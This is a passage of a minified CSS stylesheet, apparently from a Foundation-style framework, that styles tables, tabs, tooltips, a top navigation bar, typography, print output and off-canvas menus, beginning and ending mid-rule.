0.625rem;font-size:0.875rem;font-weight:bold;color:#222222;}table tr th ,table tr td {padding:0.5625rem 0.625rem;font-size:0.875rem;color:#222222;text-align:left;}table tr.even ,table tr.alt ,table tr:nth-of-type(even) {background:#f9f9f9;}table thead tr th ,table tfoot tr th ,table tfoot tr td ,table tbody tr th ,table tbody tr td ,table tr td {display:table-cell;line-height:1.125rem;}.tabs {margin-bottom:0 !important;margin-left:0;}.tabs:before ,.tabs:after {content:" ";display:table;}.tabs:after {clear:both;}.tabs dd ,.tabs .tab-title {position:relative;margin-bottom:0 !important;list-style:none;float:left;}.tabs dd>a ,.tabs .tab-title>a {outline:none;display:block;background-color:#efefef;color:#222222;padding:1rem 2rem;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;font-size:1rem;}.tabs dd > a:hover ,.tabs .tab-title > a:hover {background-color:#e1e1e1;}.tabs dd.active a ,.tabs .tab-title.active a {background-color:#ffffff;color:#222222;}.tabs.radius dd:first-child a ,.tabs.radius .tab:first-child a {-webkit-border-bottom-left-radius:3px;-webkit-border-top-left-radius:3px;border-bottom-left-radius:3px;border-top-left-radius:3px;}.tabs.radius dd:last-child a ,.tabs.radius .tab:last-child a {-webkit-border-bottom-right-radius:3px;-webkit-border-top-right-radius:3px;border-bottom-right-radius:3px;border-top-right-radius:3px;}.tabs.vertical dd ,.tabs.vertical .tab-title {position:inherit;float:none;display:block;top:auto;}.tabs-content {margin-bottom:1.5rem;width:100%;}.tabs-content:before ,.tabs-content:after {content:" ";display:table;}.tabs-content:after {clear:both;}.tabs-content>.content {display:none;float:left;padding:0.125rem 0;width:100%;}.tabs-content > .content.active {display:block;float:none;}.tabs-content > .content.contained {padding:0.125rem;}.tabs-content.vertical {display:block;}.tabs-content.vertical>.content {padding:0 0.125rem;}@media only screen and (min-width:40.063em){.tabs.vertical {width:20%;max-width:20%;float:left;margin:0 0 1.25rem;}.tabs-content.vertical {width:80%;max-width:80%;float:left;margin-left:-1px;padding-left:1rem;}}.no-js .tabs-content>.content {display:block;float:none;}.th {line-height:0;display:inline-block;border:solid 0px #000080;max-width:100%;box-shadow:0 0 0 1px rgba(0, 0, 0, 0.2);transition:all 200ms ease-out;}.th:hover ,.th:focus {box-shadow:0 0 6px 1px rgba(0, 140, 186, 0.5);}.th.radius {border-radius:3px;}.has-tip {border-bottom:dotted 1px #cccccc;cursor:help;font-weight:bold;color:#333333;}.has-tip:hover ,.has-tip:focus {border-bottom:dotted 1px #004054;color:#008cba;}.has-tip.tip-left ,.has-tip.tip-right {float:none !important;}.tooltip {display:none;position:absolute;z-index:1006;font-weight:normal;font-size:0.875rem;line-height:1.3;padding:0.75rem;max-width:300px;left:50%;width:100%;color:#ffffff;background:#333333;}.tooltip>.nub {display:block;left:5px;position:absolute;width:0;height:0;border:solid 5px;border-color:transparent transparent #333333 transparent;top:-10px;pointer-events:none;}.tooltip > .nub.rtl {left:auto;right:5px;}.tooltip.radius {border-radius:3px;}.tooltip.round {border-radius:1000px;}.tooltip.round>.nub {left:2rem;}.tooltip.opened {color:#008cba !important;border-bottom:dotted 1px #004054 !important;}.tap-to-close {display:block;font-size:0.625rem;color:#777777;font-weight:normal;}@media only screen and (min-width:40.063em){.tooltip>.nub {border-color:transparent transparent #333333 transparent;top:-10px;}.tooltip.tip-top>.nub {border-color:#333333 transparent transparent transparent;top:auto;bottom:-10px;}.tooltip.tip-left ,.tooltip.tip-right {float:none !important;}.tooltip.tip-left>.nub {border-color:transparent transparent transparent #333333;right:-10px;left:auto;top:50%;margin-top:-5px;}.tooltip.tip-right>.nub {border-color:transparent #333333 transparent transparent;right:auto;left:-10px;top:50%;margin-top:-5px;}}meta.foundation-mq-topbar {font-family:"/only screen and (min-width:40.063em)/";width:40.063em;}.contain-to-grid {width:100%;background:#ffffff;}.contain-to-grid .top-bar {margin-bottom:0;}.fixed {width:100%;left:0;position:fixed;top:0;z-index:99;}.fixed.expanded:not(.top-bar) {overflow-y:auto;height:auto;width:100%;max-height:100%;}.fixed.expanded:not(.top-bar) .title-area {position:fixed;width:100%;z-index:99;}.fixed.expanded:not(.top-bar) .top-bar-section {z-index:98;margin-top:45px;}.top-bar {overflow:hidden;height:45px;line-height:45px;position:relative;background:#ffffff;margin-bottom:0;}.top-bar ul {margin-bottom:0;list-style:none;}.top-bar .row {max-width:none;}.top-bar form ,.top-bar input {margin-bottom:0;}.top-bar input {height:1.8rem;padding-top:0.35rem;padding-bottom:0.35rem;font-size:0.75rem;}.top-bar .button ,.top-bar button {padding-top:0.4125rem;padding-bottom:0.4125rem;margin-bottom:0;font-size:0.75rem;}@media only screen and (max-width: 40em){.top-bar .button ,.top-bar button {position:relative;top:-1px;}}.top-bar .title-area {position:relative;margin:0;}.top-bar .name {height:45px;margin:0;font-size:16px;}.top-bar .name h1 {line-height:45px;font-size:1.0625rem;margin:0;}.top-bar .name h1 a {font-weight:normal;color:#ffffff;width:75%;display:block;padding:0 15px;}.top-bar .toggle-topbar {position:absolute;right:0;top:0;}.top-bar .toggle-topbar a {color:#ffffff;text-transform:uppercase;font-size:0.8125rem;font-weight:bold;position:relative;display:block;padding:0 15px;height:45px;line-height:45px;}.top-bar .toggle-topbar.menu-icon {top:50%;margin-top:-16px;}.top-bar .toggle-topbar.menu-icon a {height:34px;line-height:33px;padding:0 40px 0 15px;color:#ffffff;position:relative;}.top-bar .toggle-topbar.menu-icon a span::after {content:"";position:absolute;display:block;height:0;top:50%;margin-top:-8px;right:15px;box-shadow:0 0px 0 1px #ffffff,0 7px 0 1px #ffffff,0 14px 0 1px #ffffff;width:16px;}.top-bar .toggle-topbar.menu-icon a span:hover:after {box-shadow:0 0px 0 1px "",0 7px 0 1px "",0 14px 0 1px "";}.top-bar.expanded {height:auto;background:transparent;}.top-bar.expanded .title-area {background:#ffffff;}.top-bar.expanded .toggle-topbar a {color:#888888;}.top-bar.expanded .toggle-topbar a span::after {box-shadow:0 0px 0 1px #888888,0 7px 0 1px #888888,0 14px 0 1px #888888;}.top-bar-section {left:0;position:relative;width:auto;transition:left 300ms ease-out;}.top-bar-section ul {padding:0;width:100%;height:auto;display:block;font-size:16px;margin:0;}.top-bar-section .divider ,.top-bar-section [role="separator"] {border-top:solid 1px #808080;clear:both;height:1px;width:100%;}.top-bar-section ul li {background:#333333;}.top-bar-section ul li>a {display:block;width:100%;color:#ffffff;padding:12px 0 12px 0;padding-left:15px;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;font-size:0.8125rem;font-weight:normal;text-transform:none;}.top-bar-section ul li > a.button {font-size:0.8125rem;padding-right:15px;padding-left:15px;background-color:#008cba;border-color:#007295;color:#ffffff;}.top-bar-section ul li > a.button:hover ,.top-bar-section ul li > a.button:focus {background-color:#007295;}.top-bar-section ul li > a.button:hover ,.top-bar-section ul li > a.button:focus {color:#ffffff;}.top-bar-section ul li > a.button.secondary {background-color:#e7e7e7;border-color:#b9b9b9;color:#333333;}.top-bar-section ul li > a.button.secondary:hover ,.top-bar-section ul li > a.button.secondary:focus {background-color:#b9b9b9;}.top-bar-section ul li > a.button.secondary:hover ,.top-bar-section ul li > a.button.secondary:focus {color:#333333;}.top-bar-section ul li > a.button.success {background-color:#43ac6a;border-color:#368a54;color:#ffffff;}.top-bar-section ul li > a.button.success:hover ,.top-bar-section ul li > a.button.success:focus {background-color:#368a54;}.top-bar-section ul li > a.button.success:hover ,.top-bar-section ul li > a.button.success:focus {color:#ffffff;}.top-bar-section ul li > a.button.alert {background-color:#f04124;border-color:#cf280e;color:#ffffff;}.top-bar-section ul li > a.button.alert:hover ,.top-bar-section ul li > a.button.alert:focus {background-color:#cf280e;}.top-bar-section ul li > a.button.alert:hover ,.top-bar-section ul li > a.button.alert:focus {color:#ffffff;}.top-bar-section ul li > a.button.warning {background-color:#f08a24;border-color:#cf6e0e;color:#ffffff;}.top-bar-section ul li > a.button.warning:hover ,.top-bar-section ul li > a.button.warning:focus {background-color:#cf6e0e;}.top-bar-section ul li > a.button.warning:hover ,.top-bar-section ul li > a.button.warning:focus {color:#ffffff;}.top-bar-section ul li>button {font-size:0.8125rem;padding-right:15px;padding-left:15px;background-color:#008cba;border-color:#007295;color:#ffffff;}.top-bar-section ul li > button:hover ,.top-bar-section ul li > button:focus {background-color:#007295;}.top-bar-section ul li > button:hover ,.top-bar-section ul li > button:focus {color:#ffffff;}.top-bar-section ul li > button.secondary {background-color:#e7e7e7;border-color:#b9b9b9;color:#333333;}.top-bar-section ul li > button.secondary:hover ,.top-bar-section ul li > button.secondary:focus {background-color:#b9b9b9;}.top-bar-section ul li > button.secondary:hover ,.top-bar-section ul li > button.secondary:focus {color:#333333;}.top-bar-section ul li > button.success {background-color:#43ac6a;border-color:#368a54;color:#ffffff;}.top-bar-section ul li > button.success:hover ,.top-bar-section ul li > button.success:focus {background-color:#368a54;}.top-bar-section ul li > button.success:hover ,.top-bar-section ul li > button.success:focus {color:#ffffff;}.top-bar-section ul li > button.alert {background-color:#f04124;border-color:#cf280e;color:#ffffff;}.top-bar-section ul li > button.alert:hover ,.top-bar-section ul li > button.alert:focus {background-color:#cf280e;}.top-bar-section ul li > button.alert:hover ,.top-bar-section ul li > button.alert:focus {color:#ffffff;}.top-bar-section ul li > button.warning {background-color:#f08a24;border-color:#cf6e0e;color:#ffffff;}.top-bar-section ul li > button.warning:hover ,.top-bar-section ul li > button.warning:focus {background-color:#cf6e0e;}.top-bar-section ul li > button.warning:hover ,.top-bar-section ul li > button.warning:focus {color:#ffffff;}.top-bar-section ul li:hover:not(.has-form)>a {background-color:#272727;background:#272727;color:#ffffff;}.top-bar-section ul li.active>a {background:#008cba;color:#ffffff;}.top-bar-section ul li.active > a:hover {background:#007ba0;color:#ffffff;}.top-bar-section .has-form {padding:15px;}.top-bar-section .has-dropdown {position:relative;}.top-bar-section .has-dropdown > a:after {content:"";display:block;width:0;height:0;border:inset 5px;border-color:transparent transparent transparent rgba(255, 255, 255, 0.4);border-left-style:solid;margin-right:15px;margin-top:-4.5px;position:absolute;top:50%;right:0;}.top-bar-section .has-dropdown.moved {position:static;}.top-bar-section .has-dropdown.moved>.dropdown {display:block;position:static !important;height:auto;width:auto;overflow:visible;clip:auto;position:absolute !important;width:100%;}.top-bar-section .has-dropdown.moved>a:after {display:none;}.top-bar-section .dropdown {padding:0;position:absolute;left:100%;top:0;z-index:99;display:block;position:absolute !important;height:1px;width:1px;overflow:hidden;clip:rect(1px, 1px, 1px, 1px);}.top-bar-section .dropdown li {width:100%;height:auto;}.top-bar-section .dropdown li a {font-weight:normal;padding:8px 15px;}.top-bar-section .dropdown li a.parent-link {font-weight:normal;}.top-bar-section .dropdown li.title h5 ,.top-bar-section .dropdown li.parent-link {margin-bottom:0;margin-top:0;font-size:1.125rem;}.top-bar-section .dropdown li.title h5 a ,.top-bar-section .dropdown li.parent-link a {color:#ffffff;display:block;}.top-bar-section .dropdown li.title h5 a:hover ,.top-bar-section .dropdown li.parent-link a:hover {background:none;}.top-bar-section .dropdown li.has-form {padding:8px 15px;}.top-bar-section .dropdown li .button ,.top-bar-section .dropdown li button {top:auto;}.top-bar-section .dropdown label {padding:8px 15px 2px;margin-bottom:0;text-transform:uppercase;color:#777777;font-weight:bold;font-size:0.625rem;}.js-generated {display:block;}@media only screen and (min-width:40.063em){.top-bar {background:#ffffff;overflow:visible;}.top-bar:before ,.top-bar:after {content:" ";display:table;}.top-bar:after {clear:both;}.top-bar .toggle-topbar {display:none;}.top-bar .title-area {float:left;}.top-bar .name h1 a {width:auto;}.top-bar input ,.top-bar .button ,.top-bar button {font-size:0.875rem;position:relative;top:7px;}.top-bar.expanded {background:#ffffff;}.contain-to-grid .top-bar {max-width:62.5rem;margin:0 auto;margin-bottom:0;}.top-bar-section {transition:none 0 0;left:0 !important;}.top-bar-section ul {width:auto;height:auto !important;display:inline;}.top-bar-section ul li {float:left;}.top-bar-section ul li .js-generated {display:none;}.top-bar-section li.hover>a:not(.button) {background-color:#272727;background:#272727;color:#ffffff;}.top-bar-section li:not(.has-form) a:not(.button) {padding:0 15px;line-height:45px;background:#333333;}.top-bar-section li:not(.has-form) a:not(.button):hover {background-color:#272727;background:#272727;}.top-bar-section li.active:not(.has-form) a:not(.button) {padding:0 15px;line-height:45px;color:#ffffff;background:#008cba;}.top-bar-section li.active:not(.has-form) a:not(.button):hover {background:#007ba0;color:#ffffff;}.top-bar-section .has-dropdown>a {padding-right:35px !important;}.top-bar-section .has-dropdown > a:after {content:"";display:block;width:0;height:0;border:inset 5px;border-color:rgba(255, 255, 255, 0.4) transparent transparent transparent;border-top-style:solid;margin-top:-2.5px;top:22.5px;}.top-bar-section .has-dropdown.moved {position:relative;}.top-bar-section .has-dropdown.moved>.dropdown {display:block;position:absolute !important;height:1px;width:1px;overflow:hidden;clip:rect(1px, 1px, 1px, 1px);}.top-bar-section .has-dropdown.hover>.dropdown ,.top-bar-section .has-dropdown.not-click:hover>.dropdown {display:block;position:static !important;height:auto;width:auto;overflow:visible;clip:auto;position:absolute !important;}.top-bar-section .has-dropdown>a:focus+.dropdown {display:block;position:static !important;height:auto;width:auto;overflow:visible;clip:auto;position:absolute !important;}.top-bar-section .has-dropdown .dropdown li.has-dropdown > a:after {border:none;content:"\00bb";top:1rem;margin-top:-1px;right:5px;line-height:1.2;}.top-bar-section .dropdown {left:0;top:auto;background:transparent;min-width:100%;}.top-bar-section .dropdown li a {color:#ffffff;line-height:45px;white-space:nowrap;padding:12px 15px;background:#333333;}.top-bar-section .dropdown li:not(.has-form):not(.active)>a:not(.button) {color:#ffffff;background:#333333;}.top-bar-section .dropdown li:not(.has-form):not(.active):hover>a:not(.button) {color:#ffffff;background-color:#272727;background:#272727;}.top-bar-section .dropdown li label {white-space:nowrap;background:#333333;}.top-bar-section .dropdown li .dropdown {left:100%;top:0;}.top-bar-section>ul>.divider ,.top-bar-section>ul>[role="separator"] {border-bottom:none;border-top:none;border-right:solid 1px #ffffff;clear:none;height:45px;width:0;}.top-bar-section .has-form {background:#333333;padding:0 15px;height:45px;}.top-bar-section .right li .dropdown {left:auto;right:0;}.top-bar-section .right li .dropdown li .dropdown {right:100%;}.top-bar-section .left li .dropdown {right:auto;left:0;}.top-bar-section .left li .dropdown li .dropdown {left:100%;}.no-js .top-bar-section ul li:hover>a {background-color:#272727;background:#272727;color:#ffffff;}.no-js .top-bar-section ul li:active>a {background:#008cba;color:#ffffff;}.no-js .top-bar-section .has-dropdown:hover>.dropdown {display:block;position:static !important;height:auto;width:auto;overflow:visible;clip:auto;position:absolute !important;}.no-js .top-bar-section .has-dropdown>a:focus+.dropdown {display:block;position:static !important;height:auto;width:auto;overflow:visible;clip:auto;position:absolute !important;}}.text-left {text-align:left !important;}.text-right {text-align:right !important;}.text-center {text-align:center !important;}.text-justify {text-align:justify !important;}@media only screen and (max-width: 40em){.small-only-text-left {text-align:left !important;}.small-only-text-right {text-align:right !important;}.small-only-text-center {text-align:center !important;}.small-only-text-justify {text-align:justify !important;}}@media only screen{.small-text-left {text-align:left !important;}.small-text-right {text-align:right !important;}.small-text-center {text-align:center !important;}.small-text-justify {text-align:justify !important;}}@media only screen and (min-width:40.063em) and (max-width:64em){.medium-only-text-left {text-align:left !important;}.medium-only-text-right {text-align:right !important;}.medium-only-text-center {text-align:center !important;}.medium-only-text-justify {text-align:justify !important;}}@media only screen and (min-width:40.063em){.medium-text-left {text-align:left !important;}.medium-text-right {text-align:right !important;}.medium-text-center {text-align:center !important;}.medium-text-justify {text-align:justify !important;}}@media only screen and (min-width:64.063em) and (max-width:90em){.large-only-text-left {text-align:left !important;}.large-only-text-right {text-align:right !important;}.large-only-text-center {text-align:center !important;}.large-only-text-justify {text-align:justify !important;}}@media only screen and (min-width:64.063em){.large-text-left {text-align:left !important;}.large-text-right {text-align:right !important;}.large-text-center {text-align:center !important;}.large-text-justify {text-align:justify !important;}}@media only screen and (min-width:90.063em) and (max-width:120em){.xlarge-only-text-left {text-align:left !important;}.xlarge-only-text-right {text-align:right !important;}.xlarge-only-text-center {text-align:center !important;}.xlarge-only-text-justify {text-align:justify !important;}}@media only screen and (min-width:90.063em){.xlarge-text-left {text-align:left !important;}.xlarge-text-right {text-align:right !important;}.xlarge-text-center {text-align:center !important;}.xlarge-text-justify {text-align:justify !important;}}@media only screen and (min-width:120.063em) and (max-width:99999999em){.xxlarge-only-text-left {text-align:left !important;}.xxlarge-only-text-right {text-align:right !important;}.xxlarge-only-text-center {text-align:center !important;}.xxlarge-only-text-justify {text-align:justify !important;}}@media only screen and (min-width:120.063em){.xxlarge-text-left {text-align:left !important;}.xxlarge-text-right {text-align:right !important;}.xxlarge-text-center {text-align:center !important;}.xxlarge-text-justify {text-align:justify !important;}}div ,dl ,dt ,dd ,ul ,ol ,li ,h1 ,h2 ,h3 ,h4 ,h5 ,h6 ,pre ,form ,p ,blockquote ,th ,td {margin:0;padding:0;}a {color:#008cba;text-decoration:none;line-height:inherit;}a:hover ,a:focus {color:#007ba0;}a img {border:none;}p {font-family:inherit;font-weight:normal;font-size:1rem;line-height:1.6;margin-bottom:1.25rem;text-rendering:optimizeLegibility;}p.lead {font-size:1.21875rem;line-height:1.6;}p aside {font-size:0.875rem;line-height:1.35;font-style:italic;}h1 ,h2 ,h3 ,h4 ,h5 ,h6 {font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;font-weight:normal;font-style:normal;color:#222222;text-rendering:optimizeLegibility;margin-top:0.2rem;margin-bottom:0.5rem;line-height:1.4;}h1 small ,h2 small ,h3 small ,h4 small ,h5 small ,h6 small {font-size:60%;color:#6f6f6f;line-height:0;}h1 {font-size:2.125rem;}h2 {font-size:1.6875rem;}h3 {font-size:1.375rem;}h4 {font-size:1.125rem;}h5 {font-size:1.125rem;}h6 {font-size:1rem;}.subheader {line-height:1.4;color:#6f6f6f;font-weight:normal;margin-top:0.2rem;margin-bottom:0.5rem;}hr {border:solid #dddddd;border-width:1px 0 0;clear:both;margin:1.25rem 0 1.1875rem;height:0;}em ,i {font-style:italic;line-height:inherit;}strong ,b {font-weight:bold;line-height:inherit;}small {font-size:60%;line-height:inherit;}code {font-family:Consolas,"Liberation Mono",Courier,monospace;font-weight:normal;color:#333333;background-color:#f8f8f8;border-width:1px;border-style:solid;border-color:#dfdfdf;padding:0.125rem 0.3125rem 0.0625rem;}ul ,ol ,dl {font-size:1rem;line-height:1.6;margin-bottom:1.25rem;list-style-position:outside;font-family:inherit;}ul {margin-left:1.1rem;}ul.no-bullet {margin-left:0;}ul.no-bullet li ul ,ul.no-bullet li ol {margin-left:1.25rem;margin-bottom:0;list-style:none;}ul li ul ,ul li ol {margin-left:1.25rem;margin-bottom:0;}ul.square li ul ,ul.circle li ul ,ul.disc li ul {list-style:inherit;}ul.square {list-style-type:square;margin-left:1.1rem;}ul.circle {list-style-type:circle;margin-left:1.1rem;}ul.disc {list-style-type:disc;margin-left:1.1rem;}ul.no-bullet {list-style:none;}ol {margin-left:1.4rem;}ol li ul ,ol li ol {margin-left:1.25rem;margin-bottom:0;}dl dt {margin-bottom:0.3rem;font-weight:bold;}dl dd {margin-bottom:0.75rem;}abbr ,acronym {text-transform:uppercase;font-size:90%;color:#222222;cursor:help;}abbr {text-transform:none;}abbr[title] {border-bottom:1px dotted #dddddd;}blockquote {margin:0 0 1.25rem;padding:0.5625rem 1.25rem 0 1.1875rem;border-left:1px solid #dddddd;}blockquote cite {display:block;font-size:0.8125rem;color:#555555;}blockquote cite:before {content:"\2014 \0020";}blockquote cite a ,blockquote cite a:visited {color:#555555;}blockquote ,blockquote p {line-height:1.6;color:#6f6f6f;}.vcard {display:inline-block;margin:0 0 1.25rem 0;border:1px solid #dddddd;padding:0.625rem 0.75rem;}.vcard li {margin:0;display:block;}.vcard .fn {font-weight:bold;font-size:0.9375rem;}.vevent .summary {font-weight:bold;}.vevent abbr {cursor:default;text-decoration:none;font-weight:bold;border:none;padding:0 0.0625rem;}@media only screen and (min-width:40.063em){h1 ,h2 ,h3 ,h4 ,h5 ,h6 {line-height:1.4;}h1 {font-size:2.75rem;}h2 {font-size:2.3125rem;}h3 {font-size:1.6875rem;}h4 {font-size:1.4375rem;}h5 {font-size:1.125rem;}h6 {font-size:1rem;}}.print-only {display:none !important;}@media print{@page{margin:0.5cm;}* {background:transparent !important;color:#000000 !important;box-shadow:none !important;text-shadow:none !important;}a ,a:visited {text-decoration:underline;}a[href]:after {content:" (" attr(href) ")";}abbr[title]:after {content:" (" attr(title) ")";}.ir a:after ,a[href^="javascript:"]:after ,a[href^="#"]:after {content:"";}pre ,blockquote {border:1px solid #999999;page-break-inside:avoid;}thead {display:table-header-group;}tr ,img {page-break-inside:avoid;}img {max-width:100% !important;}p ,h2 ,h3 {orphans:3;widows:3;}h2 ,h3 {page-break-after:avoid;}.hide-on-print {display:none !important;}.print-only {display:block !important;}.hide-for-print {display:none !important;}.show-for-print {display:inherit !important;}}.off-canvas-wrap {-webkit-backface-visibility:hidden;position:relative;width:100%;overflow:hidden;}.off-canvas-wrap.move-right ,.off-canvas-wrap.move-left {min-height:100%;-webkit-overflow-scrolling:touch;}.inner-wrap {-webkit-backface-visibility:hidden;position:relative;width:100%;-webkit-transition:-webkit-transform 500ms ease;-moz-transition:-moz-transform 500ms ease;-ms-transition:-ms-transform 500ms ease;-o-transition:-o-transform 500ms ease;transition:transform 500ms ease;}.inner-wrap:before ,.inner-wrap:after {content:" ";display:table;}.inner-wrap:after {clear:both;}.tab-bar {-webkit-backface-visibility:hidden;background:#333333;color:#ffffff;height:2.8125rem;line-height:2.8125rem;position:relative;}.tab-bar h1 ,.tab-bar h2 ,.tab-bar h3 ,.tab-bar h4 ,.tab-bar h5 ,.tab-bar h6 {color:#ffffff;font-weight:bold;line-height:2.8125rem;margin:0;}.tab-bar h1 ,.tab-bar h2 ,.tab-bar h3 ,.tab-bar h4 {font-size:1.125rem;}.left-small {width:2.8125rem;height:2.8125rem;position:absolute;top:0;border-right:solid 1px #1a1a1a;left:0;}.right-small {width:2.8125rem;height:2.8125rem;position:absolute;top:0;border-left:solid 1px #1a1a1a;right:0;}.tab-bar-section {padding:0 0.625rem;position:absolute;text-align:center;height:2.8125rem;top:0;}@media only screen and (min-width:40.063em){.tab-bar-section.left ,.tab-bar-section.right {text-align:left;}}.tab-bar-section.left {left:0;right:2.8125rem;}.tab-bar-section.right {left:2.8125rem;right:0;}.tab-bar-section.middle {left:2.8125rem;right:2.8125rem;}.tab-bar .menu-icon {text-indent:2.1875rem;width:2.8125rem;height:2.8125rem;display:block;padding:0;color:#ffffff;position:relative;transform:translate3d(0, 0, 0);}.tab-bar .menu-icon span::after {content:"";position:absolute;display:block;height:0;top:50%;margin-top:-0.5rem;left:0.90625rem;box-shadow:0 0px 0 1px #ffffff,0 7px 0 1px #ffffff,0 14px 0 1px #ffffff;width:1rem;}.tab-bar .menu-icon span:hover:after {box-shadow:0 0px 0 1px #b3b3b3,0 7px 0 1px #b3b3b3,0 14px 0 1px #b3b3b3;}.left-off-canvas-menu {-webkit-backface-visibility:hidden;width:15.625rem;top:0;bottom:0;position:absolute;overflow-x:hidden;overflow-y:auto;background:#333333;z-index:1001;box-sizing:content-box;transition:transform 500ms ease 0s;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar;-ms-transform:translate(-100.5%, 0);-webkit-transform:translate3d(-100.5%, 0, 0);-moz-transform:translate3d(-100.5%, 0, 0);-ms-transform:translate3d(-100.5%, 0, 0);-o-transform:translate3d(-100.5%, 0, 0);transform:translate3d(-100.5%, 0, 0);left:0;}.left-off-canvas-menu * {-webkit-backface-visibility:hidden;}.right-off-canvas-menu {-webkit-backface-visibility:hidden;width:15.625rem;top:0;bottom:0;position:absolute;overflow-x:hidden;overflow-y:auto;background:#333333;z-index:1001;box-sizing:content-box;transition:transform 500ms ease 0s;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar;-ms-transform:translate(100.5%, 0);-webkit-transform:translate3d(100.5%, 0, 0);-moz-transform:translate3d(100.5%, 0, 0);-ms-transform:translate3d(100.5%, 0, 0);-o-transform:translate3d(100.5%, 0, 0);transform:translate3d(100.5%, 0, 0);right:0;}.right-off-canvas-menu * {-webkit-backface-visibility:hidden;}ul.off-canvas-list {list-style-type:none;padding:0;margin:0;}ul.off-canvas-list li label {display:block;padding:0.3rem 0.9375rem;color:#999999;text-transform:uppercase;font-size:0.75rem;font-weight:bold;background:#444444;border-top:1px solid #5e5e5e;border-bottom:none;margin:0;}ul.off-canvas-list li a {display:block;padding:0.66667rem;color:rgba(255, 255, 255, 0.7);border-bottom:1px solid #262626;transition:background 300ms ease;}ul.off-canvas-list li a:hover {background:#242424;}.move-right>.inner-wrap {-ms-transform:translate(15.625rem, 0);-webkit-transform:translate3d(15.625rem, 0, 0);-moz-transform:translate3d(15.625rem, 0, 0);-ms-transform:translate3d(15.625rem, 0, 0);-o-transform:translate3d(15.625rem, 0, 0);transform:translate3d(15.625rem, 0, 0);}.move-right .exit-off-canvas {-webkit-backface-visibility:hidden;transition:background 300ms ease;cursor:pointer;box-shadow:-4px 0 4px rgba(0, 0, 0, 0.5),4px 0 4px rgba(0, 0, 0, 0.5);display:block;position:absolute;background:rgba(255, 255, 255, 0.2);top:0;bottom:0;left:0;right:0;z-index:1002;-webkit-tap-highlight-color:rgba(0, 0, 0, 0);}@media only screen and (min-width:40.063em){.move-right .exit-off-canvas:hover {background:rgba(255, 255, 255, 0.05);}}.move-left>.inner-wrap {-ms-transform:translate(-15.625rem, 0);-webkit-transform:translate3d(-15.625rem, 0, 0);-moz-transform:translate3d(-15.625rem, 0, 0);-ms-transform:translate3d(-15.625rem, 0, 0);-o-transform:translate3d(-15.625rem, 0, 0);transform:translate3d(-15.625rem, 0, 0);}.move-left .exit-off-canvas {-webkit-backface-visibility:hidden;transition:background 300ms ease;cursor:pointer;box-shadow:-4px 0 4px rgba(0, 0, 0, 0.5),4px 0 4px rgba(0, 0, 0, 0.5);display:block;position:absolute;background:rgba(255, 255, 255, 0.2);top:0;bottom:0;left:0;right:0;z-index:1002;-webkit-tap-highlight-color:rgba(0, 0, 0, 0);}@media only screen and (min-width:40.063em){.move-left .exit-off-canvas:hover {background:rgba(255, 255, 255, 0.05);}}.offcanvas-overlap .left-off-canvas-menu ,.offcanvas-overlap .right-off-canvas-menu {-ms-transform:none;-webkit-transform:none;-moz-transform:none;-o-transform:none;transform:none;z-index:1003;}.offcanvas-overlap .exit-off-canvas {-webkit-backface-visibility:hidden;transition:background 300ms ease;cursor:pointer;box-shadow:-4px 0 4px rgba(0, 0, 0, 0.5),4px 0 4px rgba(0, 0, 0, 0.5);display:block;position:absolute;background:rgba(255, 255, 255, 0.2);top:0;bottom:0;left:0;right:0;z-index:1002;-webkit-tap-highlight-color:rgba(0, 0, 0, 0);}@media only screen and (min-width:40.063em){.offcanvas-overlap .exit-off-canvas:hover {background:rgba(255, 255, 255, 0.05);}}.offcanvas-overlap-left .right-off-canvas-menu {-ms-transform:none;-webkit-transform:none;-moz-transform:none;-o-transform:none;transform:none;z-index:1003;}.offcanvas-overlap-left .exit-off-canvas {-webkit-backface-visibility:hidden;transition:background 300ms ease;cursor:pointer;box-shadow:-4px 0 4px rgba(0, 0, 0, 0.5),4px 0 4px rgba(0, 0, 0, 0.5);display:block;position:absolute;background:rgba(255, 255, 255, 0.2);top:0;bottom:0;left:0;right:0;z-index:1002;-webkit-tap-highlight-color:rgba(0, 0, 0, 0);}@media only screen and (min-width:40.063em){.offcanvas-overlap-left .exit-off-canvas:hover {background:rgba(255, 255, 255, 0.05);}}.offcanvas-overlap-right .left-off-canvas-menu {-ms-transform:none;-webkit-transform:none;-moz-transform:none;-o-transform:none;transform:none;z-index:1003;}.offcanvas-overlap-right .exit-off-canvas {-webkit-backface-visibility:hidden;transition:background 300ms ease;cursor:pointer;box-shadow:-4px 0 4px rgba(0, 0, 0, 0.5),4px 0 4px rgba(0, 0, 0, 0.5);display:block;position:absolute;background:rgba(255, 255, 255, 0.2);top:0;bottom:0;left:0;right:0;z-index:1002;-webkit-tap-highlight-color:rgba(0, 0, 0, 0);}@media only screen and (min-width:40.063em){.offcanvas-overlap-right .exit-off-canvas:hover {background:rgba(255, 255, 255, 0.05);}}.no-csstransforms .left-off-canvas-menu {left:-15.625rem;}.no-csstransforms .right-off-canvas-menu {right:-15.625rem;}.no-csstransforms .move-left>.inner-wrap {right:15.625rem;}.no-csstransforms .move-right>.inner-wrap {left:15.625rem;}.left-submenu {-webkit-backface-visibility:hidden;width:15.625rem;top:0;bottom:0;position:absolute;margin:0;overflow-x:hidden;overflow-y:auto;background:#333333;z-index:1002;box-sizing:content-box;-webkit-overflow-scrolling:touch;-ms-transform:translate(-100%, 0);-webkit-transform:translate3d(-100%, 0, 0);-moz-transform:translate3d(-100%, 0, 0);-ms-transform:translate3d(-100%, 0, 0);-o-transform:translate3d(-100%, 0, 0);transform:translate3d(-100%, 0, 0);left:0;-webkit-transition:-webkit-transform 500ms ease;-moz-transition:-moz-transform 500ms ease;-ms-transition:-ms-transform 500ms ease;-o-transition:-o-transform 500ms ease;transition:transform 500ms ease;}.left-submenu * {-webkit-backface-visibility:hidden;}.left-submenu .back>a {padding:0.3rem 0.9375rem;color:#999999;text-transform:uppercase;font-weight:bold;background:#444444;border-top:1px solid #5e5e5e;border-bottom:none;margin:0;}.left-submenu .back > a:hover {background:#303030;border-top:1px solid #5e5e5e;border-bottom:none;}.left-submenu .back > a:before {content:"\AB";margin-right:0.5rem;display:inline;}.left-submenu.move-right {-ms-transform:translate(0%, 0);-webkit-transform:translate3d(0%, 0, 0);-moz-transform:translate3d(0%, 0, 0);-ms-transform:translate3d(0%, 0, 